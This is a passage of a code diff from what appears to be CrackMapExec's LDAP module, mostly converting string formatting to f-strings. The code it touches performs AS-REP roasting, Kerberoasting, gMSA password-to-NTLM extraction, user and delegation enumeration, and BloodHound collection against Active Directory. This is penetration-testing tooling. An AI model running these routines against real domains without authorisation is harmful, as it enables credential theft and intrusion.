"Error connecting to the domain, are you sure LDAP service is running on the target?",
|
||||
e
|
||||
))
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
|
||||
)
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "389"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(':') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
|
||||
|
@ -622,12 +571,12 @@ class ldap(connection):
|
|||
self.username = username
|
||||
self.domain = domain
|
||||
|
||||
if self.hash == '' and self.args.asreproast:
|
||||
if self.hash == "" and self.args.asreproast:
|
||||
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||
if hash_tgt:
|
||||
self.logger.highlight(u'{}'.format(hash_tgt))
|
||||
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + '\n')
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
return False
|
||||
|
||||
try:
|
||||
|
@ -640,14 +589,9 @@ class ldap(connection):
|
|||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = u'{}\\{}:{} {}'.format(
|
||||
domain,
|
||||
self.username,
|
||||
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||
out = f"{domain}\\{self.username}:{self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
|
@ -655,7 +599,7 @@ class ldap(connection):
|
|||
if not self.args.continue_on_success:
|
||||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find('strongerAuthRequired') >= 0:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
try:
|
||||
# We need to try SSL
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
|
@ -665,14 +609,9 @@ class ldap(connection):
|
|||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
out = u'{}\\{}:{} {}'.format(
|
||||
domain,
|
||||
self.username,
|
||||
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
)
|
||||
self.logger.extra['protocol'] = "LDAPS"
|
||||
self.logger.extra['port'] = "636"
|
||||
out = f"{domain}\\{self.username}:{self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
|
@ -681,31 +620,21 @@ class ldap(connection):
|
|||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(u'{}\\{}:{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||
)
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(u'{}\\{}:{} {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||
)
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(u'{}\\{}:{} {} \nError: {}'.format(
|
||||
self.domain,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
||||
"Error connecting to the domain, are you sure LDAP service is running on the target?",
|
||||
e
|
||||
))
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
|
||||
)
|
||||
return False
|
||||
|
||||
def create_smbv1_conn(self):
|
||||
|
@ -716,11 +645,11 @@ class ldap(connection):
|
|||
if self.conn:
|
||||
self.logger.debug(f"SMBv1 Connection successful")
|
||||
except socket.error as e:
|
||||
if str(e).find('Connection reset by peer') != -1:
|
||||
self.logger.debug('SMBv1 might be disabled on {}'.format(self.host))
|
||||
if str(e).find("Connection reset by peer") != -1:
|
||||
self.logger.debug(f"SMBv1 might be disabled on {self.host}")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
|
||||
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
return False
|
||||
return True
|
||||
|
||||
|
@ -734,7 +663,7 @@ class ldap(connection):
|
|||
except socket.error:
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
|
||||
self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
@ -750,7 +679,7 @@ class ldap(connection):
|
|||
return True
|
||||
|
||||
def get_sid(self):
|
||||
self.logger.highlight('Domain SID {}'.format(self.sid_domain))
|
||||
self.logger.highlight(f"Domain SID {self.sid_domain}")
|
||||
|
||||
def sid_to_str(self, sid):
|
||||
try:
|
||||
|
@ -837,11 +766,11 @@ class ldap(connection):
|
|||
def users(self):
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)"
|
||||
attributes = ['sAMAccountName', 'description', 'badPasswordTime', 'badPwdCount', 'pwdLastSet']
|
||||
attributes = ["sAMAccountName", "description", "badPasswordTime", "badPwdCount", "pwdLastSet"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
answers = []
|
||||
self.logger.display('Total of records returned %d' % len(resp))
|
||||
self.logger.display(f"Total of records returned {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
|
@ -851,38 +780,38 @@ class ldap(connection):
|
|||
description = ''
|
||||
pwdLastSet = ''
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'sAMAccountName':
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == 'sAMAccountName':
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'description':
|
||||
elif str(attribute["type"]) == 'description':
|
||||
description = str(attribute['vals'][0])
|
||||
self.logger.highlight('{:<30} {}'.format(sAMAccountName, description))
|
||||
self.logger.highlight(f"{sAMAccountName:<30} {description}")
|
||||
except Exception as e:
|
||||
self.cme_logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
self.cme_logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
pass
|
||||
return
|
||||
|
||||
def groups(self):
|
||||
# Building the search filter
|
||||
search_filter = "(objectCategory=group)"
|
||||
attributes = ['name']
|
||||
attributes = ["name"]
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
if resp:
|
||||
answers = []
|
||||
self.logger.debug('Total of records returned %d' % len(resp))
|
||||
self.logger.debug(f"Total of records returned {len(resp):d}")
|
||||
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
name = ''
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'name':
|
||||
name = str(attribute['vals'][0])
|
||||
self.logger.highlight('{}'.format(name))
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "name":
|
||||
name = str(attribute["vals"][0])
|
||||
self.logger.highlight(f"{name}")
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
pass
|
||||
return
|
||||
|
||||
|
@ -893,13 +822,13 @@ class ldap(connection):
|
|||
search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
|
||||
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
|
||||
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
||||
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
||||
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
if resp == []:
|
||||
self.logger.highlight("No entries found!")
|
||||
elif resp:
|
||||
answers = []
|
||||
self.logger.display('Total of records returned %d' % len(resp))
|
||||
self.logger.display(f"Total of records returned {len(resp):d}")
|
||||
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
|
@ -911,35 +840,35 @@ class ldap(connection):
|
|||
userAccountControl = 0
|
||||
lastLogon = 'N/A'
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'sAMAccountName':
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
mustCommit = True
|
||||
elif str(attribute['type']) == 'userAccountControl':
|
||||
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'memberOf':
|
||||
memberOf = str(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'pwdLastSet':
|
||||
if str(attribute['vals'][0]) == '0':
|
||||
pwdLastSet = '<never>'
|
||||
elif str(attribute["type"]) == "userAccountControl":
|
||||
userAccountControl = "0x%x" % int(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "memberOf":
|
||||
memberOf = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "pwdLastSet":
|
||||
if str(attribute["vals"][0]) == "0":
|
||||
pwdLastSet = "<never>"
|
||||
else:
|
||||
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
||||
elif str(attribute['type']) == 'lastLogon':
|
||||
if str(attribute['vals'][0]) == '0':
|
||||
lastLogon = '<never>'
|
||||
elif str(attribute["type"]) == "lastLogon":
|
||||
if str(attribute["vals"][0]) == "0":
|
||||
lastLogon = "<never>"
|
||||
else:
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
||||
if mustCommit is True:
|
||||
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
pass
|
||||
if len(answers)>0:
|
||||
for user in answers:
|
||||
hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])
|
||||
self.logger.highlight(u'{}'.format(hash_TGT))
|
||||
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
||||
self.logger.highlight(f"{hash_TGT}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_TGT + '\n')
|
||||
return True
|
||||
else:
|
||||
|
@ -1020,19 +949,25 @@ class ldap(connection):
|
|||
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
|
||||
principalName.components = [downLevelLogonName]
|
||||
|
||||
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.domain,
|
||||
self.kdcHost,
|
||||
TGT['KDC_REP'], TGT['cipher'],
|
||||
TGT['sessionKey'])
|
||||
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
|
||||
principalName,
|
||||
self.domain,
|
||||
self.kdcHost,
|
||||
TGT["KDC_REP"],
|
||||
TGT["cipher"],
|
||||
TGT["sessionKey"]
|
||||
)
|
||||
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName)
|
||||
self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon))
|
||||
self.logger.highlight(u'{}'.format(r))
|
||||
with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:
|
||||
hash_kerberoasting.write(r + '\n')
|
||||
self.logger.highlight(
|
||||
f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}"
|
||||
)
|
||||
self.logger.highlight(f"{r}")
|
||||
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
|
||||
hash_kerberoasting.write(r + "\n")
|
||||
dejavue.append(sAMAccountName)
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
cme_logger.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
|
||||
cme_logger.error(f"Principal: {downLevelLogonName} - {e}")
|
||||
return True
|
||||
else:
|
||||
self.logger.highlight("No entries found!")
|
||||
|
@ -1042,45 +977,45 @@ class ldap(connection):
|
|||
def trusted_for_delegation(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
|
||||
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
||||
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
|
||||
resp = self.search(searchFilter, attributes, 0)
|
||||
|
||||
answers = []
|
||||
self.logger.debug('Total of records returned %d' % len(resp))
|
||||
self.logger.debug(f"Total of records returned {len(resp):d}")
|
||||
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
mustCommit = False
|
||||
sAMAccountName = ''
|
||||
memberOf = ''
|
||||
pwdLastSet = ''
|
||||
sAMAccountName = ""
|
||||
memberOf = ""
|
||||
pwdLastSet = ""
|
||||
userAccountControl = 0
|
||||
lastLogon = 'N/A'
|
||||
lastLogon = "N/A"
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'sAMAccountName':
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
mustCommit = True
|
||||
elif str(attribute['type']) == 'userAccountControl':
|
||||
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'memberOf':
|
||||
memberOf = str(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'pwdLastSet':
|
||||
if str(attribute['vals'][0]) == '0':
|
||||
pwdLastSet = '<never>'
|
||||
elif str(attribute["type"]) == "userAccountControl":
|
||||
userAccountControl = "0x%x" % int(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "memberOf":
|
||||
memberOf = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "pwdLastSet":
|
||||
if str(attribute["vals"][0]) == "0":
|
||||
pwdLastSet = "<never>"
|
||||
else:
|
||||
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
||||
elif str(attribute['type']) == 'lastLogon':
|
||||
if str(attribute['vals'][0]) == '0':
|
||||
lastLogon = '<never>'
|
||||
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
|
||||
elif str(attribute["type"]) == "lastLogon":
|
||||
if str(attribute["vals"][0]) == "0":
|
||||
lastLogon = "<never>"
|
||||
else:
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
|
||||
if mustCommit is True:
|
||||
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
pass
|
||||
if len(answers)>0:
|
||||
self.logger.debug(answers)
|
||||
|
@ -1233,7 +1168,7 @@ class ldap(connection):
|
|||
ntlm_hash = MD4.new ()
|
||||
ntlm_hash.update (currentPassword)
|
||||
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
self.logger.highlight("Account: {:<20} NTLM: {}".format(sAMAccountName, passwd))
|
||||
self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {passwd}")
|
||||
return True
|
||||
|
||||
def decipher_gmsa_name(self, domain_name=None, account_name=None):
|
||||
|
@ -1253,27 +1188,31 @@ class ldap(connection):
|
|||
def gmsa_convert_id(self):
|
||||
if self.args.gmsa_convert_id:
|
||||
if len(self.args.gmsa_convert_id) != 64:
|
||||
context.log.fail("Length of the gmsa id not correct :'(")
|
||||
self.logger.fail("Length of the gmsa id not correct :'(")
|
||||
else:
|
||||
# getting the gmsa account
|
||||
search_filter = '(objectClass=msDS-GroupManagedServiceAccount)'
|
||||
gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter,
|
||||
attributes=['sAMAccountName'],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN)
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldapConnection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=['sAMAccountName'],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN
|
||||
)
|
||||
if gmsa_accounts:
|
||||
answers = []
|
||||
self.logger.debug('Total of records returned %d' % len(gmsa_accounts))
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
|
||||
for item in gmsa_accounts:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ''
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'sAMAccountName':
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id:
|
||||
self.logger.highlight("Account: {:<20} ID: {}".format(sAMAccountName, self.args.gmsa_convert_id))
|
||||
sAMAccountName = ""
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id:
|
||||
self.logger.highlight(
|
||||
f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}"
|
||||
)
|
||||
break
|
||||
else:
|
||||
context.log.fail("No string provided :'(")
|
||||
|
@ -1285,46 +1224,48 @@ class ldap(connection):
|
|||
gmsa_id = gmsa[0]
|
||||
gmsa_pass = gmsa[1]
|
||||
# getting the gmsa account
|
||||
search_filter = '(objectClass=msDS-GroupManagedServiceAccount)'
|
||||
gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter,
|
||||
attributes=['sAMAccountName'],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN)
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldapConnection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN
|
||||
)
|
||||
if gmsa_accounts:
|
||||
answers = []
|
||||
self.logger.debug('Total of records returned %d' % len(gmsa_accounts))
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
|
||||
for item in gmsa_accounts:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ''
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'sAMAccountName':
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == gmsa_id:
|
||||
sAMAccountName = ""
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == gmsa_id:
|
||||
gmsa_id = sAMAccountName
|
||||
break
|
||||
# convert to ntlm
|
||||
data = bytes.fromhex(gmsa_pass)
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(data)
|
||||
currentPassword = blob['CurrentPassword'][:-2]
|
||||
currentPassword = blob["CurrentPassword"][:-2]
|
||||
ntlm_hash = MD4.new ()
|
||||
ntlm_hash.update (currentPassword)
|
||||
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
self.logger.highlight("Account: {:<20} NTLM: {}".format(gmsa_id, passwd))
|
||||
passwd = hexlify(ntlm_hash.digest()).decode('utf-8')
|
||||
self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
|
||||
else:
|
||||
context.log.fail("No string provided :'(")
|
||||
self.logger.fail("No string provided :'(")
|
||||
|
||||
def bloodhound(self):
|
||||
auth = ADAuthentication(username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method='auto')
|
||||
ad = AD(auth=auth, domain=self.domain, nameserver=self.args.nameserver, dns_tcp=False, dns_timeout=3)
|
||||
collect = resolve_collection_methods('Default' if not self.args.collection else self.args.collection)
|
||||
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
|
||||
if not collect:
|
||||
return
|
||||
self.logger.highlight('Resolved collection methods: %s', ', '.join(list(collect)))
|
||||
self.logger.highlight("Resolved collection methods: %s", ', '.join(list(collect)))
|
||||
|
||||
self.logger.debug('Using DNS to retrieve domain information')
|
||||
self.logger.debug("Using DNS to retrieve domain information")
|
||||
ad.dns_resolve(domain=self.domain)
|
||||
|
||||
if self.args.kerberos:
|
||||
|
@ -1347,9 +1288,9 @@ class ldap(connection):
|
|||
exclude_dcs=False
|
||||
)
|
||||
|
||||
self.logger.highlight("Compressing output into " + self.output_filename + "bloodhound.zip")
|
||||
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
|
||||
list_of_files = os.listdir(os.getcwd())
|
||||
with ZipFile(self.output_filename + "bloodhound.zip", 'w') as z:
|
||||
with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
|
||||
for each_file in list_of_files:
|
||||
if each_file.startswith(timestamp) and each_file.endswith("json"):
|
||||
z.write(each_file)
|
||||
|
|
|
@ -62,115 +62,102 @@ class LDAPConnect:
|
|||
ldapConnection.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdc, useCache=False)
|
||||
# Connect to LDAP
|
||||
out = f"{domain}{username}:{password if password else ntlm_hash}"
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "389"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
return ldapConnection
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find('strongerAuthRequired') >= 0:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % kdc, baseDN)
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdc}", baseDN)
|
||||
ldapConnection.login(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdc, useCache=False)
|
||||
self.logger.extra['protocol'] = "LDAPS"
|
||||
self.logger.extra['port'] = "636"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
# self.logger.success(out)
|
||||
return ldapConnection
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password if password else ntlm_hash,
|
||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
self.logger.error(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
else:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password if password else ntlm_hash,
|
||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
self.logger.error(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
return False
|
||||
|
||||
except OSError as e:
|
||||
self.logger.debug(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password if password else ntlm_hash,
|
||||
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
|
||||
self.logger.debug(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
|
||||
)
|
||||
return False
|
||||
except KerberosError as e:
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password if password else ntlm_hash,
|
||||
str(e)),
|
||||
color='red')
|
||||
self.logger.error(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}",
|
||||
color='red')
|
||||
return False
|
||||
|
||||
def plaintext_login(self, domain, username, password, ntlm_hash):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
|
||||
#This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(':') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
elif ntlm_hash:
|
||||
nthash = ntlm_hash
|
||||
|
||||
# Create the baseDN
|
||||
baseDN = ''
|
||||
domainParts = domain.split('.')
|
||||
domainParts = domain.split(".")
|
||||
for i in domainParts:
|
||||
baseDN += 'dc=%s,' % i
|
||||
baseDN += f"dc={i},"
|
||||
# Remove last ','
|
||||
baseDN = baseDN[:-1]
|
||||
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % domain, baseDN, domain)
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain)
|
||||
ldapConnection.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
# Connect to LDAP
|
||||
out = u'{}{}:{}'.format('{}\\'.format(domain),
|
||||
username,
|
||||
password if password else ntlm_hash)
|
||||
self.logger.extra['protocol'] = "LDAP"
|
||||
self.logger.extra['port'] = "389"
|
||||
out = u"{}{}:{}".format(
|
||||
f'{domain}\\',
|
||||
username,
|
||||
password if password else ntlm_hash)
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
# self.logger.success(out)
|
||||
|
||||
return ldapConnection
|
||||
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
print(str(e))
|
||||
if str(e).find('strongerAuthRequired') >= 0:
|
||||
